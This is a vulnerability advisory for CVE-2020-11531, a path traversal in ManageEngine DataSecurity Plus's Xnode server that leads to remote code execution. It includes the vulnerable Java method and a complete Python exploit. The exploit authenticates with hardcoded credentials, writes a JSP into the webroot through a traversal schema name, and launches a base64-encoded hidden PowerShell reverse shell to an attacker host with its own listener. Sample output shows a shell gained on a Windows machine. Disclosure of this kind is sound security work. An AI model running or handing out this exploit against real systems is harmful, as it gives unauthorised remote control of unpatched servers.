XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path 
Traversal

===============================================================================



Identifiers

-------------------------------------------------

* CVE-2020-11531

* XL-20-001



CVSSv3 score

-------------------------------------------------

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)



Vendor

-------------------------------------------------

ManageEngine - 
[https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)



Product

-------------------------------------------------

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider 
threats, preventing data loss, and meeting compliance requirements. It provides 
realtime monitoring of filesystem there by help in maintaining the file 
integrity and combating against ransomeware attacks using automated threat 
response mechanisms. It comes with the features such as File Server Audting, 
Data Leak Prevention and Data Risk assessment



Affected products

-------------------------------------------------

- All DataSecurity Plus versions prior to 6.0.1 (6011)

- All ADAudit Plus versions prior to 6.0.3 (6032)



Credit

-------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs



Vulnerability summary

-------------------------------------------------

ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not 
validate the database schema name when handling `DR-SCHEMA-SYNC` request. This 
allows an authenticated attacker to execute code in the context of DataSecurity 
Plus application by writing a JSP file in the webroot directory using a 
directory traversal attack.



Technical details

------------------------------------------------

Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the 
`syncDRSchemas()` function of `DataRepositoryManager` class at line:109 of 
`DataRepositoryManager.java` from `dataengine-xnode.jar` package.



As can be seen at line:126 of function `syncDRSchemas()` , the function 
concatenates the name of database schema while generating the filename 
dynamically and write the values passed in a JSON object to it.



```java

109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest 
request) throws Exception {

110:   JSONObject jResponse = new JSONObject();

111:   JSONObject jSchemas = request.drSchemaListObj();

112:   File schemasFolder = ((Path) 
Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();

113:   schemaMap = new ConcurrentHashMap();

114:   if (!schemasFolder.exists()) {

115:    schemasFolder.mkdirs();

116:   }

117:   if (schemasFolder.isDirectory()) {

118:    File[] schemaFileList = schemasFolder.listFiles();

119:    for (File schemaFile: schemaFileList) {

120:     schemaFile.delete();

121:    }

122:   }

123:   Iterator iterator = jSchemas.keys();

124:   while (iterator.hasNext()) {

125:    String key = (String) iterator.next();

126:    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new 
FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + 
key));

127:    bw.write(jSchemas.getJSONObject(key).toString(2));

128:    bw.close();

129:    Object schema = new XNodeDRSchema(key.replace(".json", ""), 
jSchemas.getJSONObject(key));

130:    schemaMap.put(((DRSchema) schema).getSchemaName(), schema);

131:    LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");

132:    }

133:    checkFieldWithMultipleDataTypes();

134:    jResponse.put("error_code", 0);

135:    return jResponse;

136:   }

```



Proof of concept

-------------------------------------------------

Using the following exploit code, we can observe that by sending a 
`DR-SCHEMA-SYNC` request to the DataEngine XNode server with specially crafted 
schema name, one can write files to the webroot directory of DataSecurityPlus 
application and execute arbitrary JAVA code.



```python

#!/usr/bin/env python

# Author: Sahil Dhar(@0x401)



import socket

import sys

import requests

import telnetlib

import threading

import os

from time import sleep

from base64 import b64encode

from requests.packages.urllib3 import disable_warnings

from requests.packages.urllib3.exceptions import InsecureRequestWarning



def reverse_tcp_handler(lport):

                print("[+] Starting reverse handler on port %d" %(lport))

                t = telnetlib.Telnet()

                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

                s.bind(("0.0.0.0", lport))

                s.listen(1)

                conn, addr = s.accept()

                print("[+] Got connection from %s" % addr[0])

                t.sock = conn

                print("[+] whoami ?")

                t.write(b"whoami\n")

                t.interact()



def get_bytearray_payload(lhost,lport):

                cmd = "$client = New-Object 
System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = 
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = 
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName 
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 
| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = 
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb 
yte.Length);$stream.Flush()};$client.Close()"

                r_cmd = ""

                for c in cmd:

                                r_cmd += c

                                r_cmd += "\x00"

                payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass 
-Enc "%s"' % (b64encode(r_cmd.encode('utf-8'))).decode('utf-8')

                r = ""

                for i in payload:

                                r += str(ord(i))

                                r += ", "

                                r = r[0:-2]

                return r



def send_payload(rhost, rport, web_port, lhost, lport):

                auth =

                
'{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'

                shell = '{"action":"dr:/dr_schema_sync","request_id":2, 
"dr_schema_list": {"../../../../../webapps/fap/poc.jsp":{"a":"<% 
Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, 
lport)+'})); %>"}}}'

                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                s.connect((rhost,int(rport)))

                s.send(auth.encode('utf-8'))

                sleep(1)

                s.send(shell.encode('utf-8'))

                print("[+] Triggering the shell...")

                r = 
requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost, 
web_port))



def main():

                help="%s <rhost> <rport> <web_port> <lhost> <lport>" % 
(os.path.basename(__file__))

                if len(sys.argv) < 6:

                                print(help)

                                os._exit(1)

                disable_warnings()

                rhost = sys.argv[1]

                rport = int(sys.argv[2])

                web_port = int(sys.argv[3])

                lhost = sys.argv[4]

                lport = int(sys.argv[5])

                th = threading.Thread(target=reverse_tcp_handler, args=(lport,))

                th.start()

                send_payload(rhost, rport, web_port, lhost, lport)



if __name__=="__main__":

                main()

```



```

#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444

[+] Starting reverse handler on port 4444

[+] Triggering the shell...

[+] Got connection from 192.168.56.108

[+] whoami ?

windowsx64-pc\windowsx64

PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>

```



Solution

-------------------------------------------------

Update the affected products to their latest version.



Timeline

-------------------------------------------------

Date        | Status

------------|-----------------------------

04-MAR-2020 | Reported to vendor

13-MAR-2020 | Patch available

05-MAY-2020 | Public disclosure




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